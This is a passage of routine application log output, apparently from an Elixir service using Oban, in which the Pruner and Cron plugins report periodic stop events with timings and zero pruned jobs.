{"source":"oban","duration":1295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:00.155 [info] {"source":"oban","duration":753,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:44:06.165 [info] {"source":"oban","duration":1949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:36.167 [info] {"source":"oban","duration":1768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:00.157 [info] {"source":"oban","duration":502,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:45:06.172 [info] {"source":"oban","duration":3754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:36.175 [info] {"source":"oban","duration":1757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:00.158 [info] {"source":"oban","duration":823,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:46:06.178 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:36.181 [info] {"source":"oban","duration":1924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:00.160 [info] {"source":"oban","duration":695,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:47:06.183 [info] {"source":"oban","duration":1660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:36.186 [info] {"source":"oban","duration":2010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:00.163 [info] {"source":"oban","duration":1096,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:48:06.189 [info] {"source":"oban","duration":2575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:36.191 [info] {"source":"oban","duration":1169,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:00.165 [info] {"source":"oban","duration":643,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:49:06.193 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:36.195 [info] {"source":"oban","duration":1705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:00.166 [info] {"source":"oban","duration":347,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:50:06.197 [info] {"source":"oban","duration":1855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:36.203 [info] {"source":"oban","duration":4758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:51:00.167 [info] {"source":"oban","duration":580,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:51:06.207 [info] {"source":"oban","duration":2251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:51:36.210 [info] {"source":"oban","duration":2083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:00.169 [info] {"source":"oban","duration":494,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:52:06.213 [info] {"source":"oban","duration":2367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:36.215 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:00.170 [info] {"source":"oban","duration":528,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:53:06.218 [info] {"source":"oban","duration":2354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:36.220 [info] {"source":"oban","duration":1672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:00.171 [info] {"source":"oban","duration":636,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:54:06.222 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:36.224 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:00.172 [info] {"source":"oban","duration":663,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:55:06.226 [info] {"source":"oban","duration":1659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:36.228 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:00.174 [info] {"source":"oban","duration":413,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:56:06.230 [info] {"source":"oban","duration":1601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:36.232 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:00.178 [info] {"source":"oban","duration":3264,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:57:06.235 [info] {"source":"oban","duration":1944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:36.237 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:00.181 [info] {"source":"oban","duration":482,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:58:06.240 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:36.244 [info] {"source":"oban","duration":3194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:00.183 [info] {"source":"oban","duration":1123,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:59:06.246 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:36.249 [info] {"source":"oban","duration":2397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:00.185 [info] {"source":"oban","duration":730,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:00:06.252 [info] {"source":"oban","duration":2560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:36.256 [info] {"source":"oban","duration":2270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:00.187 [info] {"source":"oban","duration":855,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:01:06.258 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:36.262 [info] {"source":"oban","duration":2251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:00.188 [info] {"source":"oban","duration":371,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:02:06.264 [info] {"source":"oban","duration":1165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:36.266 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:00.189 [info] {"source":"oban","duration":624,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:03:06.269 [info] {"source":"oban","duration":2237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:36.272 [info] {"source":"oban","duration":2050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:00.191 [info] {"source":"oban","duration":496,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:04:06.274 [info] {"source":"oban","duration":1760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:36.277 [info] {"source":"oban","duration":1168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:00.192 [info] {"source":"oban","duration":378,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:05:06.281 [info] {"source":"oban","duration":3174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:36.285 [info] {"source":"oban","duration":3288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:00.193 [info] {"source":"oban","duration":321,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:06:06.287 [info] {"source":"oban","duration":1691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:36.289 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:00.195 [info] {"source":"oban","duration":882,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:07:06.291 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:36.293 [info] {"source":"oban","duration":1809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:00.196 [info] {"source":"oban","duration":697,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:08:06.296 [info] {"source":"oban","duration":1142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:36.298 [info] {"source":"oban","duration":1043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:00.197 [info] {"source":"oban","duration":504,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:09:06.300 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:36.302 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:00.199 [info] {"source":"oban","duration":575,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:10:06.304 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:36.307 [info] {"source":"oban","duration":2183,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:00.200 [info] {"source":"oban","duration":479,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:11:06.309 [info] {"source":"oban","duration":1644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:36.312 [info] {"source":"oban","duration":1998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:00.202 [info] {"source":"oban","duration":1213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:12:06.314 [info] {"source":"oban","duration":1711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:36.317 [info] {"source":"oban","duration":2096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:00.203 [info] {"source":"oban","duration":667,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:13:06.319 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:36.322 [info] {"source":"oban","duration":1725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:00.206 [info] {"source":"oban","duration":1062,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:14:06.325 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:36.328 [info] {"source":"oban","duration":1924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:00.208 [info] {"source":"oban","duration":1752,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:15:06.330 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:36.333 [info] {"source":"oban","duration":2142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:00.210 [info] {"source":"oban","duration":606,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:16:06.335 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:36.337 [info] {"source":"oban","duration":1128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:00.211 [info] {"source":"oban","duration":592,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:17:06.340 [info] {"source":"oban","duration":1956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:36.342 [info] {"source":"oban","duration":1591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:00.213 [info] {"source":"oban","duration":606,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:18:06.346 [info] {"source":"oban","duration":3780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:36.350 [info] {"source":"oban","duration":2550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:00.214 [info] {"source":"oban","duration":502,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:19:06.354 [info] {"source":"oban","duration":2636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:36.360 [info] {"source":"oban","duration":5802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:00.216 [info] {"source":"oban","duration":517,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:20:06.363 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:36.369 [info] {"source":"oban","duration":5297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:00.217 [info] {"source":"oban","duration":524,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:21:06.372 [info] {"source":"oban","duration":2072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:36.376 [info] {"source":"oban","duration":3083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:00.218 [info] {"source":"oban","duration":499,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:22:06.378 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:36.380 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:00.220 [info] {"source":"oban","duration":929,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:23:06.383 [info] {"source":"oban","duration":2460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:36.386 [info] {"source":"oban","duration":2129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:00.221 [info] {"source":"oban","duration":490,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:24:06.388 [info] {"source":"oban","duration":1881,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:36.392 [info] {"source":"oban","duration":2363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:00.222 [info] {"source":"oban","duration":467,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:25:06.394 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:36.396 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:00.223 [info] {"source":"oban","duration":471,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:26:06.398 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:36.402 [info] {"source":"oban","duration":2911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:00.224 [info] {"source":"oban","duration":610,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:27:06.406 [info] {"source":"oban","duration":3039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:36.408 [info] {"source":"oban","duration":1236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:00.226 [info] {"source":"oban","duration":373,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:28:06.410 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:36.412 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:00.227 [info] {"source":"oban","duration":441,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:29:06.414 [info] {"source":"oban","duration":1649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:36.416 [info] {"source":"oban","duration":1815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:00.228 [info] {"source":"oban","duration":762,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:30:06.419 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:36.422 [info] {"source":"oban","duration":1988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:00.231 [info] {"source":"oban","duration":1035,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:31:06.424 [info] {"source":"oban","duration":1111,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:36.427 [info] {"source":"oban","duration":2772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:00.232 [info] {"source":"oban","duration":408,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:32:06.430 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:36.432 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:00.236 [info] {"source":"oban","duration":2687,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:33:06.434 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:36.436 [info] {"source":"oban","duration":1691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:00.237 [info] {"source":"oban","duration":694,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:34:06.438 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:36.441 [info] {"source":"oban","duration":1954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:00.238 [info] {"source":"oban","duration":348,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:35:06.443 [info] {"source":"oban","duration":1906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:36.447 [info] {"source":"oban","duration":2535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:00.239 [info] {"source":"oban","duration":642,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:36:06.450 [info] {"source":"oban","duration":2537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:36.452 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:00.242 [info] {"source":"oban","duration":1307,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:37:06.454 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:36.456 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:00.244 [info] {"source":"oban","duration":834,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:38:06.459 [info] {"source":"oban","duration":2408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:36.463 [info] {"source":"oban","duration":3425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:00.245 [info] {"source":"oban","duration":527,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:39:06.466 [info] {"source":"oban","duration":2454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:36.468 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:00.249 [info] {"source":"oban","duration":1384,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:40:06.470 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:36.474 [info] {"source":"oban","duration":3207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:00.251 [info] {"source":"oban","duration":613,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:41:06.476 [info] {"source":"oban","duration":1677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:36.478 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:00.252 [info] {"source":"oban","duration":576,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:42:06.481 [info] {"source":"oban","duration":1914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:36.483 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:00.254 [info] {"source":"oban","duration":863,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:43:06.485 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:36.487 [info] {"source":"oban","duration":1784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:00.255 [info] {"source":"oban","duration":687,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:44:06.491 [info] {"source":"oban","duration":2343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:36.494 [info] {"source":"oban","duration":2062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:00.257 [info] {"source":"oban","duration":496,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:45:06.497 [info] {"source":"oban","duration":2293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:36.500 [info] {"source":"oban","duration":2468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:00.258 [info] {"source":"oban","duration":619,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:46:06.509 [info] {"source":"oban","duration":7656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:36.512 [info] {"source":"oban","duration":1912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:00.260 [info] {"source":"oban","duration":752,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:47:06.514 [info] {"source":"oban","duration":1729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:36.517 [info] {"source":"oban","duration":1919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:00.262 [info] {"source":"oban","duration":678,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:48:06.519 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:36.522 [info] {"source":"oban","duration":2102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:00.264 [info] {"source":"oban","duration":513,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:49:06.526 [info] {"source":"oban","duration":3214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:36.529 [info] {"source":"oban","duration":2181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:00.265 [info] {"source":"oban","duration":438,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:50:06.531 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:36.533 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:00.266 [info] {"source":"oban","duration":571,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:51:06.535 [info] {"source":"oban","duration":1815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:36.539 [info] {"source":"oban","duration":2239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:00.267 [info] {"source":"oban","duration":379,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:52:06.541 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:36.544 [info] {"source":"oban","duration":2708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:00.268 [info] {"source":"oban","duration":646,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:53:06.547 [info] {"source":"oban","duration":1865,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:36.549 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:00.270 [info] {"source":"oban","duration":508,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:54:06.552 [info] {"source":"oban","duration":2203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:36.555 [info] {"source":"oban","duration":2036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:00.272 [info] {"source":"oban","duration":561,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:55:06.559 [info] {"source":"oban","duration":3319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:36.561 [info] {"source":"oban","duration":1711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:00.273 [info] {"source":"oban","duration":620,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:56:06.563 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:36.565 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:00.275 [info] {"source":"oban","duration":412,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:57:06.568 [info] {"source":"oban","duration":2536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:36.570 [info] {"source":"oban","duration":1592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:00.276 [info] {"source":"oban","duration":640,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:58:06.572 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:36.574 [info] {"source":"oban","duration":1687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:00.277 [info] {"source":"oban","duration":545,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:59:06.577 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:36.580 [info] {"source":"oban","duration":2116,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:00.279 [info] {"source":"oban","duration":1229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:00:06.582 [info] {"source":"oban","duration":1631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:36.584 [info] {"source":"oban","duration":1743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:00.282 [info] {"source":"oban","duration":869,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:01:06.587 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:36.591 [info] {"source":"oban","duration":2040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:00.283 [info] {"source":"oban","duration":468,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:02:06.593 [info] 